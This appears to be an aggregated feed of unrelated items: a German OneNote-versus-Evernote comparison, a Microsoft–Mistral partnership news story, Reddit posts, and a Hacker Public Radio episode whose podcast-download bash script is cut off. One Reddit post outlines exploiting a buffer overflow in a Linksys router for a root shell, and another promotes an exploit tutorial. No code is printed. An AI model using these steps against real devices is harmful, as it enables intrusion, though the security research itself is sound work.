So gut OneNote auch sein mag, wenn es darum geht Notizen zu erstellen: Es bleibt hinter den beträchtlichen Möglichkeiten von Evernote zurück, wenn es um das Clipping von Webinhalten geht. Dazu bietet OneNote ein Browser-Addon (Microsoft Edge, Google Chrome und Mozilla Firefox) namens OneNote Web Clipper. Mit diesem Tool können Sie Screenshots in OneNote speichern – wenn es denn so funktioniert wie es soll.



Versionsunterschiede



Die Windows-Version von OneNote kann mit der vollen Bandbreite an Tools glänzen. Im Vergleich bietet Evernote nicht annähernd so viele ausgefeilte Tools. Die Versionen für Web, Android, iPadOS und macOS fallen hingegen ab. Sie sehen zwar ähnlich aus wie die Windows-App, bieten im Vergleich aber weniger und teilweise eingeschränkte Funktionen. So können Sie hier etwa keine Tabellenkalkulationen integrieren oder Videoinhalte aufzeichnen. Die iOS-Version hebt sich hingegen mit einer schlanken Benutzeroberfläche ab, die darauf optimiert ist, schnell Notizen zu erstellen oder zu bearbeiten. 



KI-Funktionen



Seit Mitte Januar 2024 bietet Microsoft mit Copilot Pro KI-Integration im Abomodell an – auch für OneNote.




🧠 Work smarter with Copilot Notebooks in OneNote — your new AI-powered space to think, organize, and create. Bring all your content together and let Copilot help you get to insights, faster. 

Learn more: https://t.co/c63JbghHcH
— Microsoft OneNote (@msonenote) July 3, 2025




Storage und Preise



OneNote synchronisiert seine Inhalte mit all Ihren Geräten und mit dem Internet über Microsoft OneDrive oder SharePoint. OneNote ist in Microsoft 365 enthalten. Ohne M365-Abo erhalten Sie bis zu 5 GB Cloud-Speicherplatz. Zusätzlichen Speicherplatz können Sie zukaufen. Wenn Sie (oder Ihr Unternehmen) ein Microsoft-365-Abonnement abschließen, erhalten Sie wesentlich mehr Speicherplatz: zwischen 100 GB und 6 TB – je nachdem, für welchen Plan Sie sich entscheiden.



Evernote: Web-Clipping-King



Evernote ist ein ganz anderes Kaliber als OneNote. Es bietet zwar die gleichen Grundfunktionalitäten: die Möglichkeit, Notizen zu erstellen, zu organisieren und mit mehreren Plattformen (Windows, macOS, iPadOS, iOS, Android, Web) zu synchronisieren. Dabei bietet die App im Vergleich zu OneNote allerdings eine signifikant farbenfrohere und einladendere Benutzeroberfläche – und eignet sich hervorragend, um Web-Content auszuschneiden und abzuspeichern.



Der Startbildschirm von Evernote bietet diverse Widgets für den schnellen Zugriff auf Notizen, Notizbücher, kürzlich aufgenommene Bilder und vieles mehr. Ein zusätzliches Suchfeld garantiert zudem, dass Sie immer finden wonach Sie suchen. Die Widgets auf Ihrem Startbildschirm können Sie ganz nach Ihren Wünschen hinzufügen oder entfernen.



Evernote bietet allerdings nicht annähernd so viele Werkzeuge zur Erstellung von Notizen wie OneNote. Zu den verfügbaren Features gehören zum Beispiel:




Texte erstellen, bearbeiten und formatieren,



Tabellen, Dateien und Bilder einbetten,



Unterstützung für Touch-Devices und -Stifte,



Integrierbare Audio- und Videoaufnahmen und



Integration mit Google Calendar (für Outlook geplant) und Google Drive;




Web Clipping



Die Stärke von Evernote liegt wie eingangs bereits erwähnt darin, Inhalte aus dem weltweiten Netz zu erfassen und zu organisieren. Das dazu integrierte Web-Clipping-Tool funktioniert beispielhaft und läuft als Browser-Addon (für Chrome, Firefox, Internet Explorer, Microsoft Edge, Safari und Opera). Die Funktionen variieren dabei je nach Browser leicht. Im Allgemeinen bieten Google Chrome und Microsoft Edge dabei das zuverlässigste Erlebnis.



Die Inhalte, die Sie mit Evernote aus dem Netz ziehen, lassen sich auch mit Tags versehen und zu Notizen hinzufügen. Darüber hinaus verfügt der Clipper auch über nützliche Markierungswerkzeuge für Screenshots. Erstellte Notizen dürfen selbstverständlich auf Knopfdruck mit spezifischen Kollegen oder auch über soziale Medien geteilt werden.



Versionsunterschiede



Die Windows-, Mac-, iPadOS-, iOS-, Android– und Web-Versionen von Evernote weisen alle ein ähnliches Erscheinungsbild auf und verfügen über die gleichen Widgets und dasselbe Layout.



KI-Funktionen



Auch Evernote integriert inzwischen künstliche Intelligenz. Zum Beispiel in Form von KI-Transkriptionen, semantischen Suchen und auch in Form eines Assistenten:




You’ve heard about Evernote v11, now see it in action. ⚡📹

Watch Product Lead @fedesimio demo the new AI Assistant, Semantic Search, and AI Meeting Notes, and share the story of how Evernote got to v11.

We’re excited to start this new chapter together. V11 is available for… pic.twitter.com/9d8DMmRVLF
— Evernote (@evernote) January 27, 2026




Storage und Preisgefüge



Die Basisversion von Evernote ist kostenlos, jedoch auf 60 MB neue Notizen pro Monat sowie die Synchronisierung zwischen zwei Geräten limitiert – und enthält keine erweiterten Funktionen.



Abonnement-Pläne erschließen weitere Features, beispielsweise die Möglichkeit, Notizen in Präsentationen umzuwandeln, PDFs und Anhänge zu durchsuchen und die Integration mit weiteren Services wie Slack und Microsoft Teams.




Das Starter-Abo richtet sich dabei an Einzel- beziehungsweise Privatpersonen und kostet 6,65 Euro pro Monat (oder 79,90 Euro pro Jahr).



Das Advanced-Abo ist auf Power User ausgelegt und kostet 16,66 Euro pro Monat (oder 199,99 Euro jährlich).



Enterprise-Pläne werden hingegen individuell auf das jeweilige Unternehmen zugeschnitten und bieten unter anderem gemeinsame Arbeitsbereiche, dedizierten Support und zentrale Management-Tools.




OneNote oder Evernote?



Wenn Sie in erster Linie ein Tool suchen, mit dem Sie auf einfache Weise Inhalte aus dem Internet erfassen, organisieren und finden können, sollten Sie zu Evernote greifen. Wollen Sie einfach nur Notizen erstellen und diese bestmöglich organisieren – oder nutzen bereits Microsoft 365 – dann dürften Sie mit OneNote glücklich werden. Oder Sie verwenden beide Apps einfach in Kombination. (fm)



Dieser Beitrag ist im Original bei unserer Schwesterpublikation Computerworld.com erschienen.




How I crafted an exploit PoC for a Linskys router
Wed, 22 Jul 2026 04:37:23 +0200
I’ve been doing some vulnerability research on a known CVE (CVE-2025-60690) on a consumer Linksys router and wanted to share the workflow I used to investigate it.
 The process started by targeting the physical hardware: identifying the UART pads on the board using a digital multimeter to access the Linux-based shell console. From there, I extracted the vulnerable binary (from the CVE description), and reversed it in Ghidra. Next, I used a gdb+gdbserver setup to perform dynamic analysis to investigate the memory behaviors.
 I managed to successfully achieve RCE from the stack-based buffer overflow vulnerability to land a root shell. The exploit PoC for CVE-2025-60690 just got cited on the official CVE page and exploit-db.com.
 I just started a YouTube channel dedicated to breaking down IoT hacking concepts. Also, I’ve compiled my step-by-step research notes in a reference doc. If you're working on similar hardware research and want a copy of the notes, drop a comment or shoot me a DM and I'll gladly send them over!
 USB-UART connection to Raspberry Pi
 Testing UART pads with digital multimeter
 Testing buffer overflow behavior (gdb+gdbserver setup)
 
   submitted by    /u/Dapper-Depth2940  
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Exploiting Random Number Generation
Wed, 22 Jul 2026 04:37:20 +0200
If you're looking for an exploit development tutorial for absolute beginners this week we're looking at what I would consider just that! This week we look at the "random" binary exploitation challenge hosted on pwnable[.]kr. 
 This is a great beginner tutorial since we exploit a flaw that is "easy" and unfortunately, still very real within some enterprise environments. It also helps you understand that no number is truly random. 
 The crazy part? We don't even drop into a debugger in this tutorial. 
 Be the end of this tutorial you should have: 
 - Learned about random number generation in C
 - Learned about XOR operations
 - Finding header files that contain dependencies using man pages
 - Dissecting C source code 
 You can find the video here:
 https://youtu.be/jDlMFC4etrs?si=akuTx1KTkCxE5Ndo
 
   submitted by    /u/AdvisorPowerful9769  
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Interactive documentation and visual reference for binary formats and system memory layouts.
Wed, 22 Jul 2026 04:37:15 +0200
        submitted by    /u/RubberDuck31337  
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hum: my minimal suckless music player!
Wed, 22 Jul 2026 04:12:09 +0200
I got fed up with Spotify not letting me actually own my music and spying on me. I just wanted my media on my disk! Tried a bunch of other terminal players but they were all either bloated to hell or didn't have vim keybinds or had some weird config format instead of just letting me edit a header file's values. None of them felt right so I wrote hum :)
 You search YouTube from the TUI (with yt-dlp as the backend), it plays stuff through mpv, and downloads the track to ~/Music/ in the background. Next time you play it it just uses the local file. That's pretty much it! You just use it and your library builds itself.
 There's also playlists (they're just text files with .hum extensions), persistent queue, batch downloading YouTube playlists, visual select, filtering, shuffle, etc. Single C file, suckless config.h, and vim keybinds! What else could one want in life?
 Link: https://github.com/areofyl/hum/
 
   submitted by    /u/areofyl  
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Microsoft doubles down on sovereign AI with expanded Mistral partnership
Wed, 22 Jul 2026 04:03:03 +0200

		
					  
						




Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.



The partnership between the tech giant and the three-year-old French startup might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.



“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst Carmi Levy. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”



“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.



Expands model access, sovereign cloud capabilities



As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.



Mistral CEO and co-founder Arthur Mensch described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”



In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.



The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.



Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and Azure Local, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.



“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said Brad Smith, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its European digital commitments and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.



Enterprise credibility



Gartner distinguished VP analyst Arun Chandrasekaran noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”



He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.



Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.



For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued AI platform development, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.



“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.



A complementary partnership



Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.



One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”



Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”



Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.



Bill Wong, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”



“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.



Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.



Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”



Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”



HPR4688: Downloading Podcasts with a Shell Script
Wed, 22 Jul 2026 02:06:46 +0200
This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.


It is the principles that are discussed here that are important, rather than the implementation. 






02


I realize that there are already a number of different podcast download programs available,  including at least one written in bash. 


However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.


If so, then I hope the following is of some use to you.


If not, then you may still find some of the things discussed here to still be of interest.






Some of the subjects I cover include


wget to a user defined file name.


parsing xml with xmllint.


using inotifywait to trigger an action when a file is created or modified.


using notify-send to send a message to the notification area.


and


a way of allowing a cron job to send a message to the user interface.














03 Background






There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. 


Apparently some people have been experiencing problems with the way the episode URLs are structured. 






04


I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.


Instead, I will present a bash script that I have written which can be used to download HPR podcasts.


This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.


This is a simplified version of a script that I have used for years to download HPR and other podcasts.






05


I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.


I will instead describe what each section does and why I chose to do things that way.


Perhaps other people can offer suggestions of better ways to do things.


I will post the full bash script in the show notes.














06 Fetching Podcasts






The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.


RSS is a very long established and widely supported mechanism for this and other purposes.


An RSS feed is basically an XML document which can be accessed over HTTP.


These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.






07


Basically what we need to do is the following






• Download the RSS XML document.


• Extract the URL links to the audio files.


• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.






08


• Make a list of the new URLs.


• Go through this list of new URLs and download each of the new audio files.


• Check to see that we actually received the new audio file.


• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs






09


In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.


We may wish to receive a notification of when a new podcast has arrived however.


We would probably also wish to receive notification of any errors or failures.














10 Fetching Podcasts - The Preliminaries






Our desire to be able to run the script automatically imposes some requirements on our solution.


To schedule the script we will use cron.


Cron is a Linux facility to run scripts on a schedule.






11


One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.






12


So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.






I will skip over the details of these, although I may make reference to them later.














13 Get the RSS Data






The first thing of real substance to do is to fetch the current RSS feed data.


I have put this in a bash function called getrssurldata






The contents of this function are a one liner, but with a number of elements chained together through pipes.






14 Downloading the RSS XML Document


• First we use wget, which is a standard command on most Linux distros.


• We specify four things.


• First we set a timeout. I have chosen 20 seconds.


• Next we set the retry limit. I have chosen 3.






15


• Then we specify that the output of wget is sent to stdout rather than saved as a file.


• This is done by using the -O option followed by a space and then a dash.


• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.


• Then we specify the URL of the HPR RSS feed.






16 Contents of the XML Document


This gives us the HPR RSS XML document. 


There are about 5,000 lines in this RSS document.


Most of those lines are the show notes which are also included in the feed.






17 Extracting the Podcast Episode URLs


There are only 10 lines of the document that contain information that we are interested in however.


These lines are enclosed in "enclosure" XML tags. 


We just need to find those lines and separate out the URLs






18 Standard Command Line Tools


There are two ways that we can do this.


One is to use a combination of grep, sed, and cut.


Grep can find the lines containing the enclosure tags.


Sed and cut can extract the URL from the surrounding extraneous data. 






19


However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.


This may be an acceptable problem in practical terms, but we can do better.






20 Using an XML Parser


The other method is to actually parse the XML document.


there are at least two command line XML parsers that I am aware of.


These are "xmllint", and "xlmstarlet".


I have used xmllint in this example.


I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.






21


I won't give a detailed explanation of all the things that xmllint can do.


It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.


Describing everything it can do would be at least one episode in itself. 


I will instead just give the particular command used and explain each element of it.






22


In this example assume that we are piping the output of wget directly into xmllint.


The complete command is






xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2






23


In this example,


xmllint is the name of the command.


--xpath tells it to parse the document according to the string which follows.


"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.


The "-" which follows tells it to look for input from stdin rather than from a file.






24


The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.


To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.


We then save the result in a temporary file.






















25 Finding the New Episodes






Next we wish to find the new podcast episodes.


Each HPR episode is identified by a unique URL.


This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.






https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3






26


The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.






27


This is simple, but has a drawback.


Some podcasts occasionally change distributors.


When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.






28


With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.






I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.


Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.


It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. 














29 Downloading the New Podcasts






We should now have a list of URLs for the new podcasts we do not already have. 


Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.






Therefore, we need to iterate through the file of new podcast URLs and download each one.






30


Before we do that however, we should check to see if there is in fact anything new to download.


To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.






31


If this number is zero, there is nothing to download, we can skip the download step. 


As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.


This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.


If we do exceed our download limit, then we need to log an error and skip downloading. 






32


Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.


We can do that using the "basename" command.


We will use this to specify the name that we use when we save the audio file. 






33


HPR has a very well formed file name. 


Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. 






34


Next we download the audio file using wget.






This is similar to how we downloaded the RSS feed, but with a few changes.


One is that I have increased the timeout to 90 seconds. 


This may not have been necessary, but seemed like a good idea.






35


The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.






The third is that we specify a destination directory using the -P option. 






36


After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.


We did this using an "if" statement with the "-s" option.






If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.






37


If the file was not present, or was zero length, we output an error message to an error log. 


I will come back to this point later.






38


Next, if there is more that one podcast to download we sleep for 3 seconds. 


While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..






39


After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.


While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.


This limit should be several times bigger than the number of files in the RSS feed. 


In this case I selected 50. 






40


Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.






We have now successfully downloaded at least one HPR podcast.














41 Notify the User of Events






It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.






One of the limitations of cron jobs is that they cannot access the user interface.


This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.






42 inotifywait


The solution to this is to use "inotifywait" to monitor particular files and directories for changes.






The man page for inotifywait states the following - 






43


inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.






End of quote.






44


In many Linux distros, inotifywait is provided by the "inotify-tools" package.






I won't go over all the features of inotifywait. 


Instead, I will just describe how to use it for our purposes here.






45 inotifywait Modes






I should point out first though that inotifywait operates in two different modes.


In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.


In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.


I will use the default mode here.






46


The man page for inotifywait provides a simple example that we could copy and modify for our purposes.


A great many examples that you  will find are based on this example.


However, it doesn't quite do what we want, so we need to change a few things.






47 podfetchnotify


The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.


I will call this "podfetchnotify".


The complete scripts are in the show notes, I will just provide a brief description here.






48 Setting Up Event Watches Using  inotifywait


The script is enclosed in a while loop which run indefinitely.


In the first line inside the while loop, we call inotifywait.


inotifywait will then block until the event it is told to look for occurs.


In short, execution of the script will wait there until an event occurs.






49


The names of the events are listed in the man file.


In this case we are looking for "modify", "create", and "moved_to".


Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.






50 Problems When Testing Using Text Editors


I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. 


Instead it treats this as a new file with the same name, with the original file being erased.


Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.


If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.






51 Capturing Output


In my example I capture the output from standard out into a variable, but I don't do anything with it.


If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. 


There are details about this in the man page.






On the next line we capture the exit code using "$?"






52 Responding to Exit Codes


If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.


In this case we display a message indicating that a new podcast has arrived.


I will describe how to send notifications shortly. 






If the exit code was not zero, then an error occurred.


An example of such an error would be if the directory were not present when monitoring was started.


In this case we display a message indicating that a fatal error has occurred and then exit.






53 Delay for More Podcasts


Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.


In this case I chose to wait for 60 seconds.






54


We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.






55 Sending Notifications to the User


I mentioned above about sending notification messages to the user.


In the Gnome desktop, notification messages appear from the centre of the top bar in a list.


Other desktops or operating systems may have something similar.






56


To send a notification message to the notification area, you use the "notify-send" command.


Simply follow notify-send with a quoted string and it will be displayed in the notification area. 










57 podfetcherrornotify


The second shell script is one which notifies the user of errors.


I will call this "podfetcherrornotify".


With this shell script we set up a watch on a file which contains any error messages from podfetch.


This script is very similar to podfetchnotify.






58


The exceptions are


With inotifywait we only monitor for "modify".


There is no sleep command at the end of the loop.


Instead we sleep for a few seconds just after getting the exit code from inotifywait.


This helps prevent problems caused by race conditions.






59


Next we check the inotifywait exit code.


If it was zero, then we read the error report file and send a notification message to the user containing that error message.






60


If it was not zero, then we check to make sure that the directory that should contain the error log exists.


If it does not exist, then we send a notification message to that effect to the user and terminate the script.






61


If the directory exists, then we check to see if the error message file used for signalling exists.


If the file does not exist, then we create it.






62


One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.


By creating the file we correct the cause of the error and allow  inotifywait to operate normally.






63


Finally we increment an error counter and check to see if the limit is exceeded.


If there are excessive errors, then send a notification message to the user and exit.


The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.






64


The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.


Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. 


















65 Installing the Scripts






Next I will describe how to install and prepare the scripts to run.


We need to perform the following steps.






66


• First, we need to create a directory to hold the scripts and their associated data files.


• Next we need to create a directory to hold the downloaded podcasts.


• Then we must copy the scripts to these directories and make them executable. 


• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.






67


• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.


• Then we need to run each script manually from the command line to check for errors.


• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.






68 Adding podfetch to the Crontab


The above describes how to run the scripts manually.


In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.


To do this, open a terminal.






69


Type "crontab -e", and then press return.


A text editor should open up containing the crontab file.


On Ubuntu, this editor is GNU nano.


Enter the appropriate cron parameters.


I will provide an example here for running it 12 minutes past the hour every three hours.






70


12 */3 * * *  /home/username/pathtofiles/podfetch.sh






71


I won't explain cron in detail here.


The example that I have just given should be good enough for most people.


The "*/3" parameter will cause it to run every three hours.


The "12" parameter will cause it to run 12 minutes past the hour when it does run.






72


Checking every three hours should be good enough for most people, but you can adjust that as you see fit.


I would recommend however that you don't check more frequently than once per hour.


Checking more frequently than necessary puts extra load on the distribution servers. 


It is very unlikely that you really do need each new episode the moment it is available. 






73


I would also recommend changing the "12" parameter to some other random minute value.


I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.






74


The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.






75 Making the Notification Scripts Start Automatically


The two notification scripts can be made to start automatically.


The exact method to do this may vary according to distribution or desktop.






76


On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.






77


I won't go into details on this here, it should be fairly self evident how to use it once you see it.


What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.






78


These ".desktop" files are all run automatically on start up.


Once you have added the notification scripts, you will need to log out and then log back in to make them active.


















79 Conclusion






I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. 






80


The download script described here is tailored specifically for use with HPR only.


However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.


If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.






81


In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.






I look forward to seeing you again later on another episode of Hack Public Radio.










# ======================================================================






podfetchdownloader






#!/bin/bash






# Fetch pending HPR podcasts listed in the HPR RSS feed.


# 8-Jun-2026


# Licensed under GPLv3 or later.






# ======================================================================










# Today's date and time as YYYYMMDDHHMMSS. 


podttimestamp=$( date +"%Y%m%d%H%M%S" )






# The absolute path to the script. This is necessary when running it


# using a cron job.


podpath="/home/me/Apps/hprfetch"






# This is the absolute path to where to store the podcast files.


podfilepath="/home/me/Music/Podcasts/HPR"






# Create the full path names here for all the text files used.


podcastsfetched="$podpath/podcastsfetched.txt"


poderrorslog="$podpath/poderrorslog.txt"


poderrorsreport="$podpath/poderrorsreport.txt"






tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"


tmppodsnew="$podpath/tmppodsnew.txt" 


tmppodstodownload="$podpath/tmppodstodownload.txt" 


tmppodserrors="$podpath/tmppodserrors.txt" 


tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"


tmplog="$podpath/tmplog.txt"






# The URL for the HPR RSS feed.


PodURL="http://hackerpublicradio.org/hpr_rss.php"






# Limit on number of podcasts to download.


DownloadLimit=11






# Name of the podcast.


PodName="Hacker Public Radio"






# ======================================================================






# Check if the required paths exist.


# If this path does not exist, cannot log the error.


if [[ ! -d "$podpath/" ]]; then


	echo "$podttimestamp Error - Could not find $podfilepath."


	exit 1


fi






# Where to store the podcast file fetched.


if [[ ! -d "$podfilepath/" ]]; then


	echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors


	# Copy the errors log from the temporary errors file to the permanent files.


	LogErrors


	exit 1


fi






# ======================================================================






# Check if the podcast log exists. We read it before we write to it,


# so it must exist or we will hang on it not being present.


if [[ ! -e $podcastsfetched ]]; then


	touch $podcastsfetched


fi










# ======================================================================






# Delete the specified files if they exist.


# This accepts multiple file names in a variable number of parameters.


CleanupFiles ()


{


	# $@ accepts multiple parameters.


	for f in "$@"; do


		# Check if the file exists.


		if [ -e "$f" ]; then


			rm "$f"


		fi


	done


}






# ======================================================================






# Copy the errors log from the temporary errors file to the permanent files.


LogErrors () {


	if [ -e $tmppodserrors ]; then


		# The permanent log.


		cat $tmppodserrors >> $poderrorslog


		# This file is monitored for display by other scripts.


		cat $tmppodserrors > $poderrorsreport


	fi


}










# ======================================================================










# Get the URL data from an RSS feed


GetRSSURLData () {






	wget --timeout=20 --tries=3 -O - "$PodURL" \


	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \


	| sort > $tmppodsnew






	# This is an alternate method that does not use xmllint.


	# However, it is not as robust. If someone were to include the


